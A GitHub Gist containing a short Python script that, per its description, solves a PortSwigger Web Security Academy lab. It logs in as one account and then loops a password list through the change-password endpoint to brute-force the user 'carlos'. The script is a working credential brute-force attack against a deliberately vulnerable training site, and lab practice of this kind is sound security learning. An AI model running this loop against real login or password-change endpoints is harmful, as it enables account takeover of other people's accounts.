Created
March 24, 2021 05:33
-
-
Save tuananhlai/7e23d8220495a62d26a6ac0025d5959f to your computer and use it in GitHub Desktop.
The code I used to solve a portswigger lab about brute-forcing password.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
session = requests.Session() | |
def login(): | |
url = "https://ac291fbf1e82ce2980c4012800f4005b.web-security-academy.net/login" | |
payload = { | |
'username': 'wiener', | |
'password': 'a' | |
} | |
response = session.post(url=url, data=payload, allow_redirects=False) | |
print(response.status_code) | |
def change_password(username, old_password): | |
url = "https://ac291fbf1e82ce2980c4012800f4005b.web-security-academy.net/my-account/change-password" | |
payload = { | |
"username": username, | |
"current-password": old_password, | |
"new-password-1": "a", | |
"new-password-2": "a" | |
} | |
response = session.post(url=url, data=payload, allow_redirects=False) | |
print(response.status_code) | |
if __name__ == '__main__': | |
passwords = open('password.txt', 'r').read().split('\n') | |
for p in passwords: | |
login() | |
change_password("carlos", p) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment